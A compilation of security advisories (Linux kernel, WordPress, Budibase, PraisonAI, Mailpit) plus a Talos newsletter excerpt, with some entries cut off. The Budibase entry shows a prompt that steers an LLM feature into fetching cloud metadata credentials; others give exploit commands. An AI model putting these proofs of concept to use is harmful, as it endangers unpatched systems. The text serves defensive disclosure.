The CubeWP Framework plugin for WordPress is vulnerable to SQL Injection in all versions up to and including 1.1.30. This is due to insufficient input sanitization in the cubewp_remove_relation() AJAX function, specifically the use of wp_unslash() on the relation_id parameter before interpolating it directly into a raw SQL query without using $wpdb->prepare(). The wp_unslash() call explicitly removes the backslash escaping that WordPress's wp_magic_quotes() adds to all $_POST data, neutralizing the only layer of SQL injection protection. The sanitize_text_field() function applied afterward offers no SQL protection. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries to the existing query.

In the Linux kernel, the following vulnerability has been resolved: smb: client: restrict implied bcc[0] exemption to responses without data area smb2_check_message() has a long-standing quirk that accepts a response whose calculated length is one byte larger than the bytes actually received ("server can return one byte more due to implied bcc[0]"). This was introduced to accommodate servers that omit the trailing bcc[0] overlap byte when no data area is present. However, the exemption is applied unconditionally, regardless of whether the command actually carries a data area (has_smb2_data_area[]). When a response with a data area is subject to the +1 exemption, the reported data can extend one byte beyond the bytes actually received, yet smb2_check_message() still accepts it. The subsequent decoder then reads past the end of the receive buffer. This is reachable during NEGOTIATE and SESSION_SETUP, before the session is established. The resulting out-of-bounds reads are visible under KASAN when mounting against a non-conforming server; both the SPNEGO/negTokenInit and the NTLMSSP challenge decoders are affected: BUG: KASAN: slab-out-of-bounds in asn1_ber_decoder+0x16a7/0x1b00 Read of size 1 at addr ffff8880084d67c0 by task mount.cifs/81 CPU: 1 UID: 0 PID: 81 Comm: mount.cifs Not tainted 7.1.0-rc6 #1 Call Trace: <TASK> dump_stack_lvl+0x4e/0x70 print_report+0x157/0x4c9 kasan_report+0xce/0x100 asn1_ber_decoder+0x16a7/0x1b00 decode_negTokenInit+0x19/0x30 SMB2_negotiate+0x31d9/0x4c90 cifs_negotiate_protocol+0x1f2/0x3f0 cifs_get_smb_ses+0x93f/0x17e0 cifs_mount_get_session+0x7f/0x3a0 cifs_mount+0xb4/0xcf0 cifs_smb3_do_mount+0x23a/0x1500 smb3_get_tree+0x3b0/0x630 vfs_get_tree+0x82/0x2d0 fc_mount+0x10/0x1b0 path_mount+0x50d/0x1de0 __x64_sys_mount+0x20b/0x270 do_syscall_64+0xee/0x590 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Allocated by task 85: kmem_cache_alloc_noprof+0x106/0x380 mempool_alloc_noprof+0x116/0x1e0 cifs_small_buf_get+0x31/0x80 allocate_buffers+0x10d/0x2b0 cifs_demultiplex_thread+0x1d5/0x1d50 kthread+0x2c6/0x390 ret_from_fork+0x36e/0x5a0 ret_from_fork_asm+0x1a/0x30 The buggy address is located 0 bytes to the right of allocated 448-byte region [ffff8880084d6600, ffff8880084d67c0) which belongs to the cache cifs_small_rq of size 448 BUG: KASAN: slab-out-of-bounds in kmemdup_noprof+0x36/0x50 Read of size 329 at addr ffff88800726c678 by task mount.cifs/89 CPU: 0 UID: 0 PID: 89 Comm: mount.cifs Tainted: G B 7.1.0-rc6 #1 Call Trace: <TASK> dump_stack_lvl+0x4e/0x70 print_report+0x157/0x4c9 kasan_report+0xce/0x100 kasan_check_range+0x10f/0x1e0 __asan_memcpy+0x23/0x60 kmemdup_noprof+0x36/0x50 decode_ntlmssp_challenge+0x457/0x680 SMB2_sess_auth_rawntlmssp_negotiate+0x6f0/0xcb0 SMB2_sess_setup+0x219/0x4f0 cifs_setup_session+0x248/0xaf0 cifs_get_smb_ses+0xf79/0x17e0 cifs_mount_get_session+0x7f/0x3a0 cifs_mount+0xb4/0xcf0 cifs_smb3_do_mount+0x23a/0x1500 smb3_get_tree+0x3b0/0x630 vfs_get_tree+0x82/0x2d0 fc_mount+0x10/0x1b0 path_mount+0x50d/0x1de0 __x64_sys_mount+0x20b/0x270 do_syscall_64+0xee/0x590 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> Allocated by task 93: kmem_cache_alloc_noprof+0x106/0x380 mempool_alloc_noprof+0x116/0x1e0 cifs_small_buf_get+0x31/0x80 allocate_buffers+0x10d/0x2b0 cifs_demultiplex_thread+0x1d5/0x1d50 kthread+0x2c6/0x390 ret_from_fork+0x36e/0x5a0 ret_from_fork_asm+0x1a/0x30 The buggy address is located 120 bytes inside of allocated 448-byte region [ffff88800726c600, ffff88800726c7c0) which belongs to the cache cifs_small_rq of size 448 Restrict the +1 exemption to responses that have no data area, so that it still covers the bcc[0] omission it was meant for.

In the Linux kernel, the following vulnerability has been resolved: hwrng: virtio: clamp device-reported used.len at copy_data() random_recv_done() stores the device-reported used.len directly into vi->data_avail. copy_data() then indexes vi->data[] using vi->data_idx (advanced by previous copy_data() calls) and issues a memcpy() without re-validating either value against the posted buffer size sizeof(vi->data) (SMP_CACHE_BYTES bytes, typically 32 or 64). A malicious or buggy virtio-rng backend can set used.len beyond sizeof(vi->data), steering the memcpy() past the end of the inline array into adjacent kmalloc-1k slab bytes. hwrng_fillfn() mixes those bytes into the guest RNG, and guest root can also observe them directly via /dev/hwrng. Concrete impact is inside the guest: - Memory-safety / hardening: any virtio-rng backend that over-reports used.len causes the driver to read past vi->data into unrelated slab contents. hwrng_fillfn() is a kernel thread that runs as soon as the device is probed; no guest userspace interaction is required to first-trigger the OOB. - Cross-boundary leak (confidential-compute threat model): a malicious hypervisor cooperating with a malicious or compromised guest root userspace can use /dev/hwrng as a leak channel for guest-kernel heap data. The host sets a large used.len, guest root reads /dev/hwrng, and the returned bytes contain guest kernel slab contents that were adjacent to vi->data. In practice, confidential-compute guests (SEV-SNP, TDX) usually disable virtio-rng entirely, so this path is narrow, but the fix is still worth carrying because the underlying memory-safety bug contaminates the guest RNG on any host. KASAN confirms the OOB on a 7.1-rc4 guest whose virtio-rng backend has been patched to report used.len = 0x10000: BUG: KASAN: slab-out-of-bounds in virtio_read+0x394/0x5d0 Read of size 64 at addr ffff88800ae0ba20 by task hwrng/52 Call Trace: __asan_memcpy+0x23/0x60 virtio_read+0x394/0x5d0 hwrng_fillfn+0xb2/0x470 kthread+0x2cc/0x3a0 Allocated by task 1: probe_common+0xa5/0x660 virtio_dev_probe+0x549/0xbc0 The buggy address belongs to the object at ffff88800ae0b800 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 0 bytes to the right of allocated 544-byte region [ffff88800ae0b800, ffff88800ae0ba20) Same class of bug as commit c04db81cd028 ("net/9p: Fix buffer overflow in USB transport layer"), which hardened usb9pfs_rx_complete() against unchecked device-reported length in the USB 9p transport. With the clamp at point of use and array_index_nospec() in place, the same harness boots cleanly: copy_data() returns zero for the bogus report, the device-supplied bytes after data_idx are discarded, and the driver issues a fresh request.

In the Linux kernel, the following vulnerability has been resolved: crypto: qat - fix VF2PF work teardown race in adf_disable_sriov() The VF2PF interrupt handler queues PF-side response work that stores a raw pointer to per-VF state (struct adf_accel_vf_info). Currently, adf_disable_sriov() destroys per-VF mutexes and frees vf_info without stopping new VF2PF work or waiting for in-flight workers to complete. A concurrently scheduled or already queued worker can then dereference freed memory. This manifests as a use-after-free when KASAN is enabled: BUG: KASAN: null-ptr-deref in mutex_lock+0x76/0xe0 Write of size 8 at addr 0000000000000260 by task kworker/24:2/...

Set this flag atomically with the hardware interrupt mask inside adf_disable_all_vf2pf_interrupts(). After masking, synchronize the AE cluster MSI-X interrupt and flush the PF response workqueue before tearing down per-VF locks and state so all in-flight work completes before vf_info is destroyed. Introduce adf_enable_all_vf2pf_interrupts() to clear the flag and unmask all VF2PF interrupts under the same lock when SR-IOV is re-enabled. This ensures the software flag and hardware state transition atomically on both the enable and disable paths.

In the Linux kernel, the following vulnerability has been resolved: usbip: vudc: fix NULL deref in vep_dequeue() vep_alloc_request() wasn't initializing vrequest->udc, so cancellations on the FunctionFS AIO path were arriving in vep_dequeue without a valid UDC reference. Since vrequest->udc is never actually properly used anywhere, we opt to remove it, and update vep_dequeue to obtain a reference to the udc with ep_to_vudc(), consistent with the other vep_ ops. AFAICT this bug has existed for ~10 years. Seems that nobody has really stressed the FunctionFS AIO path on usbip's vudc. I tested this fix in a QEMU aarch64 guest driving FunctionFS endpoints via AIO. Before the fix, running `usbip attach` from the host would cause the guest to oops with the following backtrace: Call trace: vep_dequeue+0x1c/0xe4 (P) usb_ep_dequeue+0x14/0x20 ffs_aio_cancel+0x24/0x34 __arm64_sys_io_cancel+0xb0/0x124 do_el0_svc+0x68/0x100 el0_svc+0x18/0x5c el0t_64_sync_handler+0x98/0xdc el0t_64_sync+0x154/0x158

In the Linux kernel, the following vulnerability has been resolved: HID: appleir: fix UAF on pending key_up_timer in remove() appleir_remove() runs hid_hw_stop() before timer_delete_sync(). hid_hw_stop() synchronously unregisters the HID input device via hid_disconnect() -> hidinput_disconnect() -> input_unregister_device(), which drops the last reference and frees the underlying input_dev when no userspace handle holds it open. key_up_tick() reads appleir->input_dev and calls input_report_key() / input_sync() on it. The timer is armed from appleir_raw_event() with a HZ/8 (~125 ms) timeout on every keydown and key-repeat report. If a key was pressed shortly before the device is disconnected, the timer can fire after hid_hw_stop() has freed input_dev but before the teardown drains it. A simple reorder is not sufficient. Putting the timer drain first still leaves a window where a USB URB completion (raw_event) running during hid_hw_stop() can call mod_timer() and re-arm the timer, which then fires after hidinput_disconnect() has freed input_dev. The same URB-completion window also lets raw_event() reach key_up(), key_down() and battery_flat() directly, all of which dereference appleir->input_dev. Introduce a 'removing' flag on struct appleir, gated by the existing spinlock. appleir_remove() sets the flag under the lock and then shuts down the timer with timer_shutdown_sync(), which both drains any in-flight callback and permanently disables further mod_timer() calls. appleir_raw_event() and key_up_tick() bail out early if the flag is set, so no path can arm or run the timer, or dereference appleir->input_dev, after remove() has started tearing down. The keyrepeat and flatbattery branches of appleir_raw_event() previously called into the input layer without holding the spinlock; take it now so the flag check is well-defined. This incidentally closes a pre-existing read-side race on appleir->current_key in the keyrepeat branch. This bug is structurally a sibling of commit 4db2af929279 ("HID: appletb-kbd: fix UAF in inactivity-timer cleanup path") and has been present since the driver was introduced.

In the Linux kernel, the following vulnerability has been resolved: netpoll: fix a use-after-free on shutdown path There is a use-after-free error on netpoll, which is clearly detected by KASAN. BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0x3b/0x80 Read of size 1 at addr ... by task kworker/9:1 Workqueue: events queue_process Call Trace: skb_dequeue+0x1e/0xb0 queue_process+0x2c/0x600 process_scheduled_works+0x4b6/0x850 worker_thread+0x414/0x5a0 Allocated by task 242: __netpoll_setup+0x201/0x4a0 netpoll_setup+0x249/0x550 enabled_store+0x32f/0x380 Freed by task 0: kfree+0x1b7/0x540 rcu_core+0x3f8/0x7a0 The problem happens when there is a pending TX worker running in parallel with the cleanup path. This is what happens on netpoll shutdown path: 1) __netpoll_cleanup() is called 2) set dev->npinfo to NULL 3) call_rcu() with rcu_cleanup_netpoll_info() 3.1) rcu_cleanup_netpoll_info() tries to cancel all workers with cancel_delayed_work(), but doesn't wait for the worker to finish 4) and kfree(npinfo); Because 3.1) doesn't really cancel the work, as the comment says "we can't call cancel_delayed_work_sync here, as we are in softirq", the TX worker can run after 4). Tl;DR: queue_process() is not an RCU reader, it reaches npinfo through the work item via container_of(). Use disable_delayed_work_sync() to ensure the worker is completely stopped and prevent any future re-arming attempts. Once npinfo is set to NULL, senders will bail out and not queue new work. The disable flag ensures any in-flight re-arming attempts also fail silently. In the future, we can do the cleanup inline here without needing the npinfo->rcu rcu_head, but that is net-next material.

In the Linux kernel, the following vulnerability has been resolved: fuse-uring: make a fuse_req on SQE commit only findable after memcpy Bad userspace might try to trick us and send commit SQEs request unique / commit-id of requests that are not even send to fuse-server (io_uring_cmd_done() not called) yet. fuse_uring_commit_fetch() ends the fuse request when the ring entry has a wrong state, but that could have caused a use-after-free with the memcpy operations in fuse_uring_send_in_task(). In order to avoid such races the call of fuse_uring_add_to_pq() is moved after the copy operations and just before completing the io-uring request - malicious userspace cannot find the request anymore until all prepration work in fuse-client/kernel is completed. This also moves fuse_uring_add_to_pq() a bit up in the code to avoid a forward declaration. Also not with a preparation commit, to make it easier to back port to older kernels.

In the Linux kernel, the following vulnerability has been resolved: mm: page_ext: add count limit to page_ext_iter_next to prevent invalid PFN access The page_ext iteration API does not validate if the PFN still belongs to a valid section while advancing the iterator. When dynamically adding memory in the hotplug path, it can lead to a NULL pointer dereference during page_ext_lookup at the boundary of the last valid section when iterator count equals __pgcount. The for_each_page_ext() macro calls page_ext_iter_next() as its loop increment. for_each_page_ext() does a "__page_ext = page_ext_iter_next(&__iter)" at the end. This causes page_ext_iter_next() to increment iter->index past __pgcount and call page_ext_lookup(start_pfn + __pgcount). During memory hotplug (online), the PFN at start_pfn + __pgcount may belong to a section that has not yet been initialized, causing page_ext_lookup() to trigger a NULL pointer dereference.

In the Linux kernel, the following vulnerability has been resolved: tcp: restore RCU grace period in tcp_ao_destroy_sock Commit 51e547e8c89c ("tcp: Free TCP-AO/TCP-MD5 info/keys without RCU") removed the call_rcu() callback from tcp_ao_destroy_sock(), arguing that "the destruction of info/keys is delayed until the socket destructor" and therefore "no one can discover it anymore". That argument does not hold for the call site in tcp_connect() (net/ipv4/tcp_output.c:4327-4332). At that point the socket is in TCP_SYN_SENT, has already been inserted into the inet ehash by inet_hash_connect() in tcp_v4_connect(), and is therefore very much discoverable: any softirq running tcp_v4_rcv() on another CPU can take the socket out of the ehash, walk into tcp_inbound_hash(), and load tp->ao_info via implicit RCU before bh_lock_sock_nested() is taken on the destroying CPU. The reader path then enters __tcp_ao_do_lookup() (net/ipv4/tcp_ao.c:208) which re-loads tp->ao_info via rcu_dereference_check(); the re-load can still observe the (about-to-be-freed) pointer because there is no synchronize_rcu() between rcu_assign_pointer(tp->ao_info, NULL) and tcp_ao_info_free() in tcp_ao_destroy_sock(). The captured pointer is then walked at line 223: hlist_for_each_entry_rcu(key, &ao->head, node, ...) The writer's synchronous kfree() is free to complete between the line 218 re-fetch and the line 223 hlist iteration. The slab is reused (or simply LIST_POISON1-stamped if not yet reused) and the iteration walks attacker-controlled or poison memory in softirq context.

Restore the RCU grace period: re-add struct rcu_head to tcp_ao_info and replace the synchronous tcp_ao_info_free() with a call_rcu() callback. Readers that captured tp->ao_info before rcu_assign_pointer NULLed it now see the object remain valid until rcu_read_unlock(). With the patch applied the reproducer runs cleanly for 2000 iterations on the same kernel build.

# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet

## Summary When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens. ## Details The vulnerability exists because `getUserContextBindings()` intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization. **Step 1: Tokens included in user bindings** In `packages/server/src/sdk/users/utils.ts:134-161`: ```typescript export function getUserContextBindings(user: ContextUser): UserBindings { const bindings: UserBindings = { _id: user._id, email: user.email, // ... } if (isSSOUser(user) && user.oauth2) { bindings.oauth2 = { accessToken: user.oauth2.accessToken, // <-- sensitive refreshToken: user.oauth2.refreshToken, // <-- sensitive } } return bindings } ``` **Step 2: Bindings passed to automation execution** In `packages/server/src/api/controllers/automation.ts:311-312`: ```typescript const user = sdk.users.getUserContextBindings(ctx.user) return await triggers.externalTrigger( { ...automation, disabled: false }, { ...input, appId, user }, // user with tokens passed as event param { getResponses: true, onProgress: emitProgress } ) ``` **Step 3: Tokens placed in trigger outputs** In `packages/server/src/threads/automation.ts:409-413`: ```typescript const trigger: AutomationTriggerResult = { id: data.automation.definition.trigger.id, stepId: data.automation.definition.trigger.stepId, inputs: null, outputs: data.event, // data.event includes user.oauth2 tokens } ``` **Step 4: Result broadcast without sanitization** The full result (including `trigger.outputs.user.oauth2`) is exposed via two vectors: 1. **WebSocket broadcast** — `builderSocket.emitToRoom()` calls `this.io.in(room).emit()` (`packages/server/src/websockets/websocket.ts:291`) which sends to ALL sockets in the app's room, not just the originator. 2. **Test status endpoint** — `recordTestProgress()` stores the result in a Map keyed by `${appId}:${automationId}` with no user isolation (`packages/server/src/automations/testProgress.ts:41-74`). Any builder can call `GET /api/automations/:id/test/status` to retrieve another user's test results. ## PoC Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens. ```bash # Step 1: User A (SSO-authenticated builder) tests an automation asynchronously curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \ -H 'x-budibase-app-id: app_dev_<appid>' \ -H 'Cookie: budibase:auth=<userA_session>' \ -H 'Content-Type: application/json' \ -d '{"row": {"tableId": "ta_xxx"}}' # Returns: {"message": "Automation test started"} # Step 2: User B (another builder on the same app) polls the test status curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \ -H 'x-budibase-app-id: app_dev_<appid>' \ -H 'Cookie: budibase:auth=<userB_session>' # Response includes the full automation result with: # result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..." # result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..." ``` Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the `BuilderSocketEvent.AutomationTestProgress` event with `status: "complete"` includes the full result payload. ## Impact - **OAuth2 access tokens** for external services (Google Workspace, Azure AD, GitHub, etc.) are exposed to co-builders of the same app. These tokens can be used to access external APIs as the victim user. - **OAuth2 refresh tokens** provide persistent access — an attacker can generate new access tokens even after the original expires, maintaining long-term access to the victim's external service accounts. - The attack is passive via WebSocket — an attacker only needs to have the builder UI open to receive tokens when any co-builder tests an automation. - Test results persist in memory for 5 minutes (TTL in `testProgress.ts:15`), providing a window for polling-based attacks. ## Recommended Fix Strip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients. In `packages/server/src/api/controllers/automation.ts`, sanitize the result before passing to `emitProgress`: ```typescript function sanitizeAutomationResult(result: AutomationResults): AutomationR

Welcome to this week’s edition of the Threat Source newsletter. Lately I've found myself thinking a lot about the Australian TV series Mr. Inbetween (IMDb 8.7/10) — not because I'm a hitman for hire, but because I literally feel in-between. Specifically, in-between what I'd call the "pre-Mythos" and “post-Mythos” eras. We've crossed a capability threshold, and it's not just one model family driving that — Codex 5.3 and GPT-5.5 deliver comparable or better performance , and Tulongfeng or GLM-5.2 (an incredibly powerful open-weight model, MIT-licensed) show the frontier isn't limited to closed models anymore. On the other side of that line, real-world impact hasn't caught up yet and we're living in an artificial buffer zone. For me, defining the “pre-” and “post-” status comes down to the gap between "vulnerability discovery" and "vulnerability publication." Last week’s Patch Tuesday gave a signal of change, as Joe pointed out , so maybe the buffer zone has come to an end. Let's dive into the 2026 Q2 stats. As in past years, we're seeing a steeper curve than the year before — a solid 49% YoY growth, though still not the hockey-stick moment I keep waiting for. By the end of June we were tracking close to 200 CVEs per day. Using the keyword methodology described here , I found 452 AI-related CVEs this calendar year. If "openclaw" is added to the keyword list, that number jumps by another 536 — a reminder that these counts are sensitive to keyword drift. Given how much the keyword list keeps changing, I'm reconsidering whether to keep publishing this particular metric going forward. KEVs, by contrast, "only" grew 13% — a small April spike aside, it's fairly flat relative to total CVE growth. Networking-gear-related CVEs continued their climb, now accounting for 24% of KEV-related vulnerabilities (up from 20% in Q1) — consistent with the trend I flagged last quarters. As in previous quarters, CVEs from 2024 or earlier still make up about 24% of everything we're tracking. More strikingly, even though the standard enterprise patch cycle is described to run 30–90 days, 181 days into 2026, 46% of today's actively-exploited (KEV) CVEs still trace back to 2025 or earlier. Old vulnerabilities don't retire, new ones keep arriving, and machine-speed vulnerability discovery is going to keep outpacing human-speed patching. Which brings me back — once again — to EPSS as a tool for prioritizing patching against this dataset. If you patched purely by CVSS 9+, you'd be urgently chasing ~3,700 CVEs — but 95% of those sit below 5% EPSS, meaning the real-world odds of exploitation are tiny. Of the 32 CVSS 9+ CVEs with EPSS ≥ 50%, 25 are already on CISA's KEV list. The remaining seven outliers are still high-probability by EPSS but haven't made KEV yet — worth watching. Ray Shoesmith (Mr. Inbetween) once told his therapist, "You know, if I hit somebody, I generally got a pretty good reason." Same principle applies to patching. Don't swing at everything — swing at what you have good reason to believe is coming for you. The one big thing Cisco Talos has discovered "msaRAT," a new Rust-based remote access trojan (RAT) deployed by the Chaos ransomware group. Built on the Tokio asynchronous runtime, it establishes a covert command-and-control (C2) channel by hijacking Chrome or Edge browsers via the Chrome DevTools Protocol (CDP). The infection starts with a deceptive MSI file masquerading as a Windows update that loads the payload directly into memory, paving the way for ransomware deployment. Why do I care? This RAT is a master of evasion, living off the browser to build its C2 infrastructure without ever directly touching the network. By routing traffic through legitimate browser processes and trusted services, msaRAT easily bypasses traditional network-based detections. Additionally, its use of the Tokio runtime enables highly efficient, parallel execution of malicious tasks, accelerating the attacker's ability to establish persistence and deploy doubl…

PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Versions prior to 0.1.4 have an Insecure Direct Object Reference. The comment endpoints (`POST /workspaces/{workspace_id}/issues/{issue_id}/comments` and `GET .../comments`) gate access on `require_workspace_member(workspace_id)` only, then call `CommentService.create(issue_id=issue_id, ...)` and `CommentService.list_for_issue(issue_id)` without verifying that `issue_id` belongs to `workspace_id`. A user who is a member of any workspace `W1` can read every comment on, and post new comments to, any issue in any other workspace `W2`. PraisonAI Platform version 0.1.4 patches the issue.

PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Prior to version 0.1.4, the workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID. The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL. As a result, a valid member of `workspace_attacker` can call a route under `/api/v1/workspaces/{workspace_attacker}/...` while supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID. This breaks the platform's workspace isolation boundary. PraisonAI Platform version 0.1.4 patches the issue.

### Summary The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. ### Affected versions - Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14). - All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here. ### Privilege required None in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host. ### The incomplete fix Commit `136bdde` ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place: ```go // server/apiv1/send.go:45-48 if config.MaxMessageSize > 0 { r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024) } decoder := json.NewDecoder(r.Body) ``` The sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`: | File | Function | `MaxBytesReader`? | Unauth in default deploy? | |---|---|---|---| | `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) | | `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES | | `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES | | `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES | | `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES | The four sibling handlers all share the shape: ```go // server/apiv1/messages.go:107-115 (SetReadStatus) decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) ``` No `MaxBytesReader`, no body-size cap, no `r.Header.Get("Content-Length")` check. The `json.NewDecoder` streams the body but each `"x"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size. ### Vulnerable code `server/apiv1/messages.go:107`: ```go func SetReadStatus(w http.ResponseWriter, r *http.Request) { decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) if err != nil { httpError(w, err.Error()) return } // ... ``` Three other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape. ### Reachability chain (default deploy) ``` Listen() # config/config.go HTTPListen = "[::]:8025" ↓ HTTP server # server/server.go:177-186 ↓ middleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil ↓ SetReadStatus # server/apiv1/messages.go:87 ↓ json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]} ↓ RSS grows ~28x relative to payload size ``` `config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it. ### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0) ```bash # 1) start mailpit with defaults (no --ui-auth, no 